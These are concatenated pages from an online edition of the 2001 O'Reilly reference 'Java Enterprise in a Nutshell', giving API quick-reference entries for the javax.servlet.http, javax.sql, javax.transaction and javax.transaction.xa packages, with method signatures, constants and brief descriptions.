Returned By: HttpServletRequest.getSession(), HttpSessionBindingEvent.getSession(), HttpSessionContext.getSession()

HttpSessionBindingEvent | Servlets 2.0
javax.servlet.http | serializable event

An HttpSessionBindingEvent is passed to the appropriate method of an HttpSessionBindingListener when an object is bound to or unbound from an HttpSession. The getName() method returns the name to which the bound object has been assigned, and the getSession() method provides a reference to the session the object is being bound to.

public class HttpSessionBindingEvent extends java.util.EventObject {
// | Public Constructors
 | public HttpSessionBindingEvent (HttpSession session, String name);
// | Public Instance Methods
 | public String getName ();
 | public HttpSession getSession ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->HttpSessionBindingEvent

Passed To: HttpSessionBindingListener.{valueBound(), valueUnbound()}

HttpSessionBindingListener | Servlets 2.0
javax.servlet.http | event listener

An object that implements HttpSessionBindingListener is notified with calls to valueBound() and valueUnbound() when it is bound to and unbound from an HttpSession, respectively. The valueUnbound() method is also called when a session is deleted for inactivity or at server shutdown.

public interface HttpSessionBindingListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void valueBound (HttpSessionBindingEvent event);
 | public abstract void valueUnbound (HttpSessionBindingEvent event);
}

Hierarchy: (HttpSessionBindingListener(java.util.EventListener))

HttpSessionContext Servlets 2.0; Deprecated in Servlets 2.1
javax.servlet.http

HttpSessionContext provides access to all of the currently active sessions on the server. Note that this class is deprecated as of Version 2.1 of the Servlet API, due to a minor security risk whereby a servlet could expose all the session IDs in use on the server.

public interface HttpSessionContext {
// | Deprecated Public Methods
# | public abstract java.util.Enumeration getIds ();
# | public abstract HttpSession getSession (String sessionId);
}

Returned By: HttpSession.getSessionContext()

HttpUtils Servlets 1.0
javax.servlet.http

The HttpUtils class contains three static methods that perform useful HTTP-related tasks. getRequestURL() forms a functional approximation of the original request URL, including scheme, server name, server port, extra path information, and query string, based on an HttpServletRequest object. The parsePostData() and parseQueryString() methods parse URL-encoded form variables from an InputStream or a String. In most cases, a servlet should use the getParameter(), getParameterValues(), and getParameterNames() methods of HttpServletRequest instead.

public class HttpUtils {
// | Public Constructors
 | public HttpUtils ();
// | Public Class Methods
 | public static StringBuffer getRequestURL (HttpServletRequest req);
 | public static java.util.Hashtable parsePostData (int len, ServletInputStream in);
 | public static java.util.Hashtable parseQueryString (String s);
}
Previous | Home | Next
25.1. The javax.servlet Package | Book Index | 27. The javax.sql Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.sql Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 27. The javax.sql Package

The javax.sql package contains the JDBC 2.0 Standard Extension API. The classes and interfaces in this package provide new functionality, such as connection pooling, that do not fall under the scope of the original JDBC API and can therefore be safely packaged separately. The DataSource interface serves as a factory for Connectionobjects; DataSource objects can be registered with a JNDI server, making it possible to get the name of a database from a name service. PooledConnectionsupports connection pooling, which allows an application to handle multiple database connections in a fairly transparent manner. RowSet extends the ResultSetinterface to a JavaBeans component that can be manipulated at design time and used with non-SQL data sources. Figure 27-1 shows the class hierarchy of the javax.sql package.

Figure 27-1. The javax.sql package

ConnectionEvent | JDBC 2.0 Extension
javax.sql | serializable event

Provides information about a pooled connection when an event occurs on the connection. If the event is an error event, ConnectionEvent includes the SQLException that is about to be thrown to the application.

public class ConnectionEvent extends java.util.EventObject {
// | Public Constructors
 | public ConnectionEvent (PooledConnection con);
 | public ConnectionEvent (PooledConnection con, java.sql.SQLException ex);
// | Public Instance Methods
 | public java.sql.SQLException getSQLException ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->ConnectionEvent

Passed To: ConnectionEventListener.{connectionClosed(), connectionErrorOccurred()}

ConnectionEventListener | JDBC 2.0 Extension
javax.sql | event listener

An object that implements ConnectionEventListener registers to receive event notifications from PooledConnection objects. The connectionClosed() method is called when the close() method of the PooledConnection object is called, while the connectionErrorOccurred() method is called immediately before an SQLException is thrown to indicate a fatal error condition (one that renders the connection unusable in the future).

public abstract interface ConnectionEventListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void connectionClosed (ConnectionEvent event);
 | public abstract void connectionErrorOccurred (ConnectionEvent event);
}

Hierarchy: (ConnectionEventListener(java.util.EventListener))

Passed To: PooledConnection.{addConnectionEventListener(), removeConnectionEventListener()}

ConnectionPoolDataSource JDBC 2.0 Extension
javax.sql

A factory for PooledConnection objects. Can be registered with a JNDI service or used standalone (for example, in a servlet).

public abstract interface ConnectionPoolDataSource {
// | Public Instance Methods
 | public abstract int getLoginTimeout () throws java.sql.SQLException;
 | public abstract PrintWriter getLogWriter () throws java.sql.SQLException;
 | public abstract PooledConnection getPooledConnection () throws java.sql.SQLException;
 | public abstract PooledConnection getPooledConnection (String user, String password) throws java.sql.SQLException;
 | public abstract void setLoginTimeout (int seconds) throws java.sql.SQLException;
 | public abstract void setLogWriter (PrintWriter out) throws java.sql.SQLException;
}
DataSource JDBC 2.0 Extension
javax.sql

A factory for java.sql.Connection objects. Can be registered with a JNDI service, so that an application can get the name of a database from a name service.

public abstract interface DataSource {
// | Public Instance Methods
 | public abstract java.sql.Connection getConnection () throws java.sql.SQLException;
 | public abstract java.sql.Connection getConnection (String username, String password) throws java.sql.SQLException;
 | public abstract int getLoginTimeout () throws java.sql.SQLException;
 | public abstract PrintWriter getLogWriter () throws java.sql.SQLException;
 | public abstract void setLoginTimeout (int seconds) throws java.sql.SQLException;
 | public abstract void setLogWriter (PrintWriter out) throws java.sql.SQLException;
}
PooledConnection JDBC 2.0 Extension
javax.sql

PooledConnection provides an application-level hook into the JDBC Standard Extension's connection pooling functionality. Call getConnection() to retrieve a standard java.sql.Connection object for database access from the connection pool. Use close() to return this connection to the pool.

public abstract interface PooledConnection {
// | Event Registration Methods (by event name)
 | public abstract void addConnectionEventListener (ConnectionEventListener listener);
 | public abstract void removeConnectionEventListener (ConnectionEventListener listener);
// | Public Instance Methods
 | public abstract void close () throws java.sql.SQLException;
 | public abstract java.sql.Connection getConnection () throws java.sql.SQLException;
}

Implementations: javax.sql.XAConnection

Passed To: ConnectionEvent.ConnectionEvent()

Returned By: ConnectionPoolDataSource.getPooledConnection()

RowSet JDBC 2.0 Extension
javax.sql

RowSet extends the java.sql.ResultSet interface so that RowSet objects are JavaBeans components and can be manipulated by visual programming tools. A RowSet can be implemented on top of any JDBC-compliant ResultSet. The setCommand() method specifies what data the row set should contain (for a database generated set, this might be an SQL statement).

public abstract interface RowSet extends java.sql.ResultSet {
// | Event Registration Methods (by event name)
 | public abstract void addRowSetListener (RowSetListener listener);
 | public abstract void removeRowSetListener (RowSetListener listener);
// | Public Instance Methods
 | public abstract void clearParameters () throws java.sql.SQLException;
 | public abstract void execute () throws java.sql.SQLException;
 | public abstract String getCommand ();
 | public abstract String getDataSourceName ();
 | public abstract boolean getEscapeProcessing () throws java.sql.SQLException;
 | public abstract int getMaxFieldSize () throws java.sql.SQLException;
 | public abstract int getMaxRows () throws java.sql.SQLException;
 | public abstract String getPassword ();
 | public abstract int getQueryTimeout () throws java.sql.SQLException;
 | public abstract int getTransactionIsolation ();
 | public abstract java.util.Map getTypeMap () throws java.sql.SQLException;
 | public abstract String getUrl () throws java.sql.SQLException;
 | public abstract String getUsername ();
 | public abstract boolean isReadOnly ();
 | public abstract void setArray (int i, java.sql.Array x) throws java.sql.SQLException;
 | public abstract void setAsciiStream (int parameterIndex, java.io.InputStream x, int length) throws java.sql.SQLException;
 | public abstract void setBigDecimal (int parameterIndex, java.math.BigDecimal x) throws java.sql.SQLException;
 | public abstract void setBinaryStream (int parameterIndex, java.io.InputStream x, int length) throws java.sql.SQLException;
 | public abstract void setBlob (int i, java.sql.Blob x) throws java.sql.SQLException;
 | public abstract void setBoolean (int parameterIndex, boolean x) throws java.sql.SQLException;
 | public abstract void setByte (int parameterIndex, byte x) throws java.sql.SQLException;
 | public abstract void setBytes (int parameterIndex, byte[ ] x) throws java.sql.SQLException;
 | public abstract void setCharacterStream (int parameterIndex, Reader reader, int length) throws java.sql.SQLException;
 | public abstract void setClob (int i, java.sql.Clob x) throws java.sql.SQLException;
 | public abstract void setCommand (String cmd) throws java.sql.SQLException;
 | public abstract void setConcurrency (int concurrency) throws java.sql.SQLException;
 | public abstract void setDataSourceName (String name) throws java.sql.SQLException;
 | public abstract void setDate (int parameterIndex, java.sql.Date x) throws java.sql.SQLException;
 | public abstract void setDate (int parameterIndex, java.sql.Date x, java.util.Calendar cal) throws java.sql.SQLException;
 | public abstract void setDouble (int parameterIndex, double x) throws java.sql.SQLException;
 | public abstract void setEscapeProcessing (boolean enable) throws java.sql.SQLException;
 | public abstract void setFloat (int parameterIndex, float x) throws java.sql.SQLException;
 | public abstract void setInt (int parameterIndex, int x) throws java.sql.SQLException;
 | public abstract void setLong (int parameterIndex, long x) throws java.sql.SQLException;
 | public abstract void setMaxFieldSize (int max) throws java.sql.SQLException;
 | public abstract void setMaxRows (int max) throws java.sql.SQLException;
 | public abstract void setNull (int parameterIndex, int sqlType) throws java.sql.SQLException;
 | public abstract void setNull (int paramIndex, int sqlType, String typeName) throws java.sql.SQLException;
 | public abstract void setObject (int parameterIndex, Object x) throws java.sql.SQLException;
 | public abstract void setObject (int parameterIndex, Object x, int targetSqlType) throws java.sql.SQLException;
 | public abstract void setObject (int parameterIndex, Object x, int targetSqlType, int scale) throws java.sql.SQLException;
 | public abstract void setPassword (String password) throws java.sql.SQLException;
 | public abstract void setQueryTimeout (int seconds) throws java.sql.SQLException;
 | public abstract void setReadOnly (boolean value) throws java.sql.SQLException;
 | public abstract void setRef (int i, java.sql.Ref x) throws java.sql.SQLException;
 | public abstract void setShort (int parameterIndex, short x) throws java.sql.SQLException;
 | public abstract void setString (int parameterIndex, String x) throws java.sql.SQLException;
 | public abstract void setTime (int parameterIndex, java.sql.Time x) throws java.sql.SQLException;
 | public abstract void setTime (int parameterIndex, java.sql.Time x, java.util.Calendar cal) throws java.sql.SQLException;
 | public abstract void setTimestamp (int parameterIndex, java.sql.Timestamp x) throws java.sql.SQLException;
 | public abstract void setTimestamp (int parameterIndex, java.sql.Timestamp x, java.util.Calendar cal) throws java.sql.SQLException;
 | public abstract void setTransactionIsolation (int level) throws java.sql.SQLException;
 | public abstract void setType (int type) throws java.sql.SQLException;
 | public abstract void setTypeMap (java.util.Map map) throws java.sql.SQLException;
 | public abstract void setUrl (String url) throws java.sql.SQLException;
 | public abstract void setUsername (String name) throws java.sql.SQLException;
}

Hierarchy: (RowSet(java.sql.ResultSet))

Passed To: RowSetEvent.RowSetEvent()

RowSetEvent | JDBC 2.0 Extension
javax.sql | serializable event

Generated when an important event, such as a change in a column's value, occurs within a RowSet.

public class RowSetEvent extends java.util.EventObject {
// | Public Constructors
 | public RowSetEvent (RowSet source);
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->RowSetEvent

Passed To: RowSetListener.{cursorMoved(), rowChanged(), rowSetChanged()}

RowSetInternal JDBC 2.0 Extension
javax.sql

Implemented by a RowSet object that wishes to support the reader/writer row-loading paradigm. Contains additional methods used by RowSetReader and RowSetWriter.

public abstract interface RowSetInternal {
// | Public Instance Methods
 | public abstract java.sql.Connection getConnection () throws java.sql.SQLException;
 | public abstract java.sql.ResultSet getOriginal () throws java.sql.SQLException;
 | public abstract java.sql.ResultSet getOriginalRow () throws java.sql.SQLException;
 | public abstract Object[ ] getParams () throws java.sql.SQLException;
 | public abstract void setMetaData (RowSetMetaData md) throws java.sql.SQLException;
}

Passed To: RowSetReader.readData(), RowSetWriter.writeData()

RowSetListener | JDBC 2.0 Extension
javax.sql | event listener

Implemented by an object that wishes to be informed of events generated by a RowSet.

public abstract interface RowSetListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void cursorMoved (RowSetEvent event);
 | public abstract void rowChanged (RowSetEvent event);
 | public abstract void rowSetChanged (RowSetEvent event);
}

Hierarchy: (RowSetListener(java.util.EventListener))

Passed To: RowSet.{addRowSetListener(), removeRowSetListener()}

RowSetMetaData JDBC 2.0 Extension
javax.sql

Extends java.sql.ResultSetMetaData to support the functionality of RowSet objects.

public abstract interface RowSetMetaData extends java.sql.ResultSetMetaData {
// | Public Instance Methods
 | public abstract void setAutoIncrement (int columnIndex, boolean property) throws java.sql.SQLException;
 | public abstract void setCaseSensitive (int columnIndex, boolean property) throws java.sql.SQLException;
 | public abstract void setCatalogName (int columnIndex, String catalogName) throws java.sql.SQLException;
 | public abstract void setColumnCount (int columnCount) throws java.sql.SQLException;
 | public abstract void setColumnDisplaySize (int columnIndex, int size) throws java.sql.SQLException;
 | public abstract void setColumnLabel (int columnIndex, String label) throws java.sql.SQLException;
 | public abstract void setColumnName (int columnIndex, String columnName) throws java.sql.SQLException;
 | public abstract void setColumnType (int columnIndex, int SQLType) throws java.sql.SQLException;
 | public abstract void setColumnTypeName (int columnIndex, String typeName) throws java.sql.SQLException;
 | public abstract void setCurrency (int columnIndex, boolean property) throws java.sql.SQLException;
 | public abstract void setNullable (int columnIndex, int property) throws java.sql.SQLException;
 | public abstract void setPrecision (int columnIndex, int precision) throws java.sql.SQLException;
 | public abstract void setScale (int columnIndex, int scale) throws java.sql.SQLException;
 | public abstract void setSchemaName (int columnIndex, String schemaName) throws java.sql.SQLException;
 | public abstract void setSearchable (int columnIndex, boolean property) throws java.sql.SQLException;
 | public abstract void setSigned (int columnIndex, boolean property) throws java.sql.SQLException;
 | public abstract void setTableName (int columnIndex, String tableName) throws java.sql.SQLException;
}

Hierarchy: (RowSetMetaData(java.sql.ResultSetMetaData))

Passed To: RowSetInternal.setMetaData()

RowSetReader JDBC 2.0 Extension
javax.sql

Loads data into a RowSet that implements RowSetInternal. The extensions to ResultSet introduced in JDBC 2.0 insert data.

public abstract interface RowSetReader {
// | Public Instance Methods
 | public abstract void readData (RowSetInternal caller) throws java.sql.SQLException;
}
RowSetWriter JDBC 2.0 Extension
javax.sql

Writes data from a RowSet that implements RowSetInternal. The data from the RowSet can be written back to a data source (not necessarily a database).

public abstract interface RowSetWriter {
// | Public Instance Methods
 | public abstract boolean writeData (RowSetInternal caller) throws java.sql.SQLException;
}
XAConnection JDBC 2.0 Extension
javax.sql

An extended version of PooledConnection that can be used in a distributed transaction environment, using the Java Transaction API (in the javax.transaction package).

public abstract interface XAConnection extends PooledConnection {
// | Public Instance Methods
 | public abstract javax.transaction.xa.XAResource getXAResource () throws java.sql.SQLException;
}

Hierarchy: (XAConnection(PooledConnection))

Returned By: XADataSource.getXAConnection()

XADataSource JDBC 2.0 Extension
javax.sql

A factory for XAConnection objects.

public abstract interface XADataSource {
// | Public Instance Methods
 | public abstract int getLoginTimeout () throws java.sql.SQLException;
 | public abstract PrintWriter getLogWriter () throws java.sql.SQLException;
 | public abstract javax.sql.XAConnection getXAConnection () throws java.sql.SQLException;
 | public abstract javax.sql.XAConnection getXAConnection (String user, String password) throws java.sql.SQLException;
 | public abstract void setLoginTimeout (int seconds) throws java.sql.SQLException;
 | public abstract void setLogWriter (PrintWriter out) throws java.sql.SQLException;
}
Previous | Home | Next
26.1. The javax.servlet.http Package | Book Index | 28. The javax.transaction Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.transaction Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 28. The javax.transaction Package

The javax.transaction package is the main package in the Java Transaction API (JTA). The JTA defines the interfaces needed to interact with a transaction manager. A transaction manager sits in between an application and some shared resource, such as a relational database or a messaging service, and ensures that transactional interactions between the two are handled correctly. An application server interacts directly with the transaction manager on behalf of client applications. An application server uses the TransactionManager interface and Transaction objects, while a client application acquires UserTransaction objects through the application server. Figure 28-1 shows the class hierarchy for the javax.transaction package.

Figure 28-1. The javax.transaction package

HeuristicCommitException | JTA 1.0
javax.transaction | serializable checked

Thrown when an attempt is made to roll back a resource whose updates have been committed due to a heuristic decision (e.g., a resource lost contact with the transaction manager and decided to commit after one phase of a two-phase commit).

public class HeuristicCommitException extends Exception {
// | Public Constructors
 | public HeuristicCommitException ();
 | public HeuristicCommitException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->HeuristicCommitException

HeuristicMixedException | JTA 1.0
javax.transaction | serializable checked

Thrown by the commit() methods on Transaction and UserTransaction to indicate that some updates were rolled back due to a heuristic decision (e.g., some resources involved in a transaction lost contact with the transaction manager and decided to rollback, but some others had already committed).

public class HeuristicMixedException extends Exception {
// | Public Constructors
 | public HeuristicMixedException ();
 | public HeuristicMixedException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->HeuristicMixedException

Thrown By: Transaction.commit(), TransactionManager.commit(), UserTransaction.commit()

HeuristicRollbackException | JTA 1.0
javax.transaction | serializable checked

Thrown by the commit() methods on Transaction and UserTransaction to indicate that the transaction has been rolled back due to a heuristic decision (e.g., the resource lost contact with the transaction manager and decided to abort the transaction).

public class HeuristicRollbackException extends Exception {
// | Public Constructors
 | public HeuristicRollbackException ();
 | public HeuristicRollbackException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->HeuristicRollbackException

Thrown By: Transaction.commit(), TransactionManager.commit(), UserTransaction.commit()

InvalidTransactionException | JTA 1.0
javax.transaction | serializable checked

Thrown when an attempt is made to operate on a transaction that is in an invalid state.

public class InvalidTransactionException extends java.rmi.RemoteException {
// | Public Constructors
 | public InvalidTransactionException ();
 | public InvalidTransactionException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->java.rmi.RemoteException-->InvalidTransactionException

Thrown By: TransactionManager.resume()

NotSupportedException | JTA 1.0
javax.transaction | serializable checked

Thrown when a request is made for an unsupported operation. Typically thrown by the transaction manager when an attempt is made to create a nested exception and these are not supported by the transaction manager.

public class NotSupportedException extends Exception {
// | Public Constructors
 | public NotSupportedException ();
 | public NotSupportedException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NotSupportedException

Thrown By: TransactionManager.begin(), UserTransaction.begin()

RollbackException | JTA 1.0
javax.transaction | serializable checked

Thrown when an invalid operation is requested on a transaction that has either rolled back or been marked for rollback-only (e.g., calling TransactionManager.enlistResource() on such a transaction).

public class RollbackException extends Exception {
// | Public Constructors
 | public RollbackException ();
 | public RollbackException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RollbackException

Thrown By: Transaction.{commit(), enlistResource(), registerSynchronization()}, TransactionManager.commit(), UserTransaction.commit()

Status JTA 1.0
javax.transaction

This interface simply serves to hold static integer status codes for transactions. The Transaction.getStatus() method can query the status of a transaction, and these codes indicate the meaning of the returned value.

public abstract interface Status {
// | Public Constants
 | public static final int STATUS_ACTIVE ; | =0
 | public static final int STATUS_COMMITTED ; | =3
 | public static final int STATUS_COMMITTING ; | =8
 | public static final int STATUS_MARKED_ROLLBACK ; | =1
 | public static final int STATUS_NO_TRANSACTION ; | =6
 | public static final int STATUS_PREPARED ; | =2
 | public static final int STATUS_PREPARING ; | =7
 | public static final int STATUS_ROLLEDBACK ; | =4
 | public static final int STATUS_ROLLING_BACK ; | =9
 | public static final int STATUS_UNKNOWN ; | =5
}
Synchronization JTA 1.0
javax.transaction

A Synchronization object gets notification of the end of a transaction. The Synchronization interface must be implemented by a concrete application class, which can then request callbacks from the transaction manager. The Synchronization object is registered with an active transaction by calling the Transaction.registerSynchronization() method, passing in the Synchronization object. An exception is thrown if the transaction is not active or has already been marked for rollback. Before the transaction manager starts the commit on the transaction, it calls the beforeCompletion() method on any registered Synchronization objects. After the transaction completes, the transaction manager calls the afterCompletion() method.

public abstract interface Synchronization {
// | Public Instance Methods
 | public abstract void afterCompletion (int status);
 | public abstract void beforeCompletion ();
}

Passed To: Transaction.registerSynchronization()

SystemException | JTA 1.0
javax.transaction | serializable checked

Thrown by the transaction manager when a significant error occurs that effectively disables the manager.

public class SystemException extends Exception {
// | Public Constructors
 | public SystemException ();
 | public SystemException (String s);
 | public SystemException (int errcode);
// | Public Instance Fields
 | public int errorCode ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->SystemException

Thrown By: Transaction.{commit(), delistResource(), enlistResource(), getStatus(), registerSynchronization(), rollback(), setRollbackOnly()}, TransactionManager.{begin(), commit(), getStatus(), getTransaction(), resume(), rollback(), setRollbackOnly(), setTransactionTimeout(), suspend()}, UserTransaction.{begin(), commit(), getStatus(), rollback(), setRollbackOnly(), setTransactionTimeout()}

Transaction JTA 1.0
javax.transaction

A Transaction represents a global transaction managed by the transaction manager. When the TransactionManager interface is used directly (e.g., by an application server) to create and control transactions, Transaction objects represent the transactions created. The TransactionManager.getTransaction() method gets the transaction associated with the current thread. With the Transaction object, the caller can commit() or rollback() the Transaction, enlist or remove resources from the transaction, and get the status of the Transaction. The setRollbackOnly() method flags the Transaction so that it can be only rolled back, not committed. The registerSynchronization() method registers a Synchronization callback object with the Transaction.

public abstract interface Transaction {
// | Public Instance Methods
 | public abstract void commit () throws RollbackException, HeuristicMixedException, HeuristicRollbackException, SecurityException, javax.transaction.SystemException;
 | public abstract boolean delistResource (javax.transaction.xa.XAResource xaRes, int flag) throws java.lang.IllegalStateException, javax.transaction.SystemException;
 | public abstract boolean enlistResource (javax.transaction.xa.XAResource xaRes) throws RollbackException, java.lang.IllegalStateException, javax.transaction.SystemException;
 | public abstract int getStatus () throws javax.transaction.SystemException;
 | public abstract void registerSynchronization (Synchronization sync) throws RollbackException, java.lang.IllegalStateException, javax.transaction.SystemException;
 | public abstract void rollback () throws java.lang.IllegalStateException, javax.transaction.SystemException;
 | public abstract void setRollbackOnly () throws java.lang.IllegalStateException, javax.transaction.SystemException;
}

Passed To: TransactionManager.resume()

Returned By: TransactionManager.{getTransaction(), suspend()}

TransactionManager JTA 1.0
javax.transaction

The TransactionManager interface is used by a transactional application server, such as an EJB server, to create and manage transactions on behalf of client applications. The application server can use the TransactionManager interface to create new transactions for the current thread, suspend and resume the current transaction, and commit or rollback the transaction. The setTransactionTimeout() method sets the timeout (in seconds) for any subsequent transactions started through the TransactionManager.

public abstract interface TransactionManager {
// | Public Instance Methods
 | public abstract void begin () throws NotSupportedException, javax.transaction.SystemException;
 | public abstract void commit () throws RollbackException, HeuristicMixedException, HeuristicRollbackException, SecurityException, java.lang.IllegalStateException, javax.transaction.SystemException;
 | public abstract int getStatus () throws javax.transaction.SystemException;
 | public abstract Transaction getTransaction () throws javax.transaction.SystemException;
 | public abstract void resume (Transaction tobj) throws InvalidTransactionException, java.lang.IllegalStateException, javax.transaction.SystemException;
 | public abstract void rollback () throws java.lang.IllegalStateException, SecurityException, javax.transaction.SystemException;
 | public abstract void setRollbackOnly () throws java.lang.IllegalStateException, javax.transaction.SystemException;
 | public abstract void setTransactionTimeout (int seconds) throws javax.transaction.SystemException;
 | public abstract Transaction suspend () throws javax.transaction.SystemException;
}
TransactionRequiredException | JTA 1.0
javax.transaction | serializable checked

Thrown when a transaction-related operation is requested, but there is no active transaction.

public class TransactionRequiredException extends java.rmi.RemoteException {
// | Public Constructors
 | public TransactionRequiredException ();
 | public TransactionRequiredException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->java.rmi.RemoteException-->TransactionRequiredException

TransactionRolledbackException | JTA 1.0
javax.transaction | serializable checked

Thrown when an operation requested on a particular transaction is irrelevant because the transaction has been rolled back.

public class TransactionRolledbackException extends java.rmi.RemoteException {
// | Public Constructors
 | public TransactionRolledbackException ();
 | public TransactionRolledbackException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->java.rmi.RemoteException-->TransactionRolledbackException

UserTransaction JTA 1.0
javax.transaction

UserTransaction is the interface used by client applications to manage transactions. Typically, a transactional application server publishes a UserTransaction through JNDI, so a client gets a reference to the UserTransaction using a lookup on the JNDI Context. The client can use the UserTransaction to begin() a new transaction in the current thread. If there is already an active transaction in the current thread and the transaction manager does not support nested transactions, a NotSupportedException is thrown. The client can either commit() or rollback() the current transaction when it is complete. The setRollbackOnly() method flags the current transaction so that it can be only rolled back. The setTransactionTimeout() method sets the timeout, in seconds, of any subsequent transactions started through the transaction manager.

public abstract interface UserTransaction {
// | Public Instance Methods
 | public abstract void begin () throws NotSupportedException, javax.transaction.SystemException;
 | public abstract void commit () throws RollbackException, HeuristicMixedException, HeuristicRollbackException, SecurityException, java.lang.IllegalStateException, javax.transaction.SystemException;
 | public abstract int getStatus () throws javax.transaction.SystemException;
 | public abstract void rollback () throws java.lang.IllegalStateException, SecurityException, javax.transaction.SystemException;
 | public abstract void setRollbackOnly () throws java.lang.IllegalStateException, javax.transaction.SystemException;
 | public abstract void setTransactionTimeout (int seconds) throws javax.transaction.SystemException;
}
Previous | Home | Next
27.1. The javax.sql Package | Book Index | 29. The javax.transaction.xa Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.transaction.xa Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 29. The javax.transaction.xa Package

The javax.transaction.xa package represents a Java mapping of certain elements of the X/Open XA interface specification. The XA interface defines a standard two-way communication protocol between a transaction manager and a resource manager, such as a relational database, so that they can engage in distributed transactional processing. These interfaces are used internally by the JTA to implement its transaction management services. Normally, you shouldn't have to use these interfaces directly in application code. Figure 29-1 shows the class hierarchy of the package.

Figure 29-1. The javax.transaction.xa package

XAException | JTA 1.0
javax.transaction.xa | serializable checked

Thrown by a resource manager when an error occurs while handling a request from the transaction manager. The static error codes allow the transaction manager to determine the cause of the error.

public class XAException extends Exception {
// | Public Constructors
 | public XAException (); |
 | public XAException (String s); |
 | public XAException (int errcode); |
// | Public Constants
 | public static final int XA_HEURCOM ; | =7
 | public static final int XA_HEURHAZ ; | =8
 | public static final int XA_HEURMIX ; | =5
 | public static final int XA_HEURRB ; | =6
 | public static final int XA_NOMIGRATE ; | =9
 | public static final int XA_RBBASE ; | =100
 | public static final int XA_RBCOMMFAIL ; | =101
 | public static final int XA_RBDEADLOCK ; | =102
 | public static final int XA_RBEND ; | =107
 | public static final int XA_RBINTEGRITY ; | =103
 | public static final int XA_RBOTHER ; | =104
 | public static final int XA_RBPROTO ; | =105
 | public static final int XA_RBROLLBACK ; | =100
 | public static final int XA_RBTIMEOUT ; | =106
 | public static final int XA_RBTRANSIENT ; | =107
 | public static final int XA_RDONLY ; | =3
 | public static final int XA_RETRY ; | =4
 | public static final int XAER_ASYNC ; | =-2
 | public static final int XAER_DUPID ; | =-8
 | public static final int XAER_INVAL ; | =-5
 | public static final int XAER_NOTA ; | =-4
 | public static final int XAER_OUTSIDE ; | =-9
 | public static final int XAER_PROTO ; | =-6
 | public static final int XAER_RMERR ; | =-3
 | public static final int XAER_RMFAIL ; | =-7
// | Public Instance Fields
 | public int errorCode ; |
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->XAException

Thrown By: XAResource.{commit(), end(), forget(), getTransactionTimeout(), isSameRM(), prepare(), recover(), rollback(), setTransactionTimeout(), start()}

XAResource JTA 1.0
javax.transaction.xa

The XAResource interface is implemented by shared resources that want to engage in distributed transactions. A single resource manager (e.g., a database server or message service) can export multiple transactional resources (database connections, sessions with a message service), represented as XAResource objects. The transaction manager uses the XAResource interface to associate a resource with a transaction using the start() method, to ask the resource to commit() or rollback() any work done while it was associated with a transaction, and finally to end() the association with a transaction. Other methods on XAResource manage the association of the resource with the transaction context.

public abstract interface XAResource {
// | Public Constants
 | public static final int TMENDRSCAN ; | =8388608
 | public static final int TMFAIL ; | =536870912
 | public static final int TMJOIN ; | =2097152
 | public static final int TMNOFLAGS ; | =0
 | public static final int TMONEPHASE ; | =1073741824
 | public static final int TMRESUME ; | =134217728
 | public static final int TMSTARTRSCAN ; | =16777216
 | public static final int TMSUCCESS ; | =67108864
 | public static final int TMSUSPEND ; | =33554432
 | public static final int XA_OK ; | =0
 | public static final int XA_RDONLY ; | =3
// | Public Instance Methods
 | public abstract void commit (Xid xid, boolean onePhase) throws XAException; |
 | public abstract void end (Xid xid, int flags) throws XAException; |
 | public abstract void forget (Xid xid) throws XAException; |
 | public abstract int getTransactionTimeout () throws XAException; |
 | public abstract boolean isSameRM (XAResource xares) throws XAException; |
 | public abstract int prepare (Xid xid) throws XAException; |
 | public abstract Xid[ ] recover (int flag) throws XAException; |
 | public abstract void rollback (Xid xid) throws XAException; |
 | public abstract boolean setTransactionTimeout (int seconds) throws XAException; |
 | public abstract void start (Xid xid, int flags) throws XAException; |
}

Passed To: Transaction.{delistResource(), enlistResource()}, XAResource.isSameRM()

Returned By: javax.jms.XASession.getXAResource(), javax.sql.XAConnection.getXAResource()

Xid JTA 1.0
javax.transaction.xa

An Xid is an identifier for a transaction. This interface is used by transaction managers and resource managers as the representation for transactions. The methods on the interface allow these two entities to query for specific components of the transaction identifier.

public abstract interface Xid {
// | Public Constants
 | public static final int MAXBQUALSIZE ; | =64
 | public static final int MAXGTRIDSIZE ; | =64
// | Public Instance Methods
 | public abstract byte[ ] getBranchQualifier (); |
 | public abstract int getFormatId (); |
 | public abstract byte[ ] getGlobalTransactionId (); |
}

Passed To: XAResource.{commit(), end(), forget(), prepare(), rollback(), start()}

Returned By: XAResource.recover()

Previous | Home | Next
28.1. The javax.transaction Package | Book Index | 30. The org.omg.CORBA Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The org.omg.CORBA Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 30. The org.omg.CORBA Package

